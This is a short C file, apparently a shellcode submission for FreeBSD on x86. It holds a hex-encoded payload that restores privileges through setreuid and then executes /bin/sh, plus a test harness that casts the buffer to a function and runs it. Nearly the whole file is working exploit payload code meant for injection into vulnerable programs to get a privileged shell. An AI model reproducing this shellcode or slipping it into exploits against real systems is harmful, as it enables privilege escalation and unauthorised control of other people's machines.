/*
 * bsd/x86 setreuid/exec shellcode
 *
 * setreuid(geteuid(), geteuid()) and execve("/bin/sh", "/bin/sh", 0) 
 * shellcode based on hkpco's setreuid/exec shellcode for linux
 * Tested on FreeBSD
*/

#include <stdio.h>
#include <string.h>

char shellcode[] =
 "\x31\xc0\xb0\x19\x50\xcd\x80\x50"
 "\x50\x31\xc0\xb0\x7e\x50\xcd\x80" // setreuid(geteuid(), getuid());
 "\xeb\x0d\x5f\x31\xc0\x50\x89\xe2"
 "\x52\x57\x54\xb0\x3b\xcd\x80\xe8"
 "\xee\xff\xff\xff/bin/sh"; // exec(/bin/sh)

int main()
{
int (*f)() = (int (*)())shellcode;
 printf("%d\n",strlen(shellcode));
f();
 return 0;
}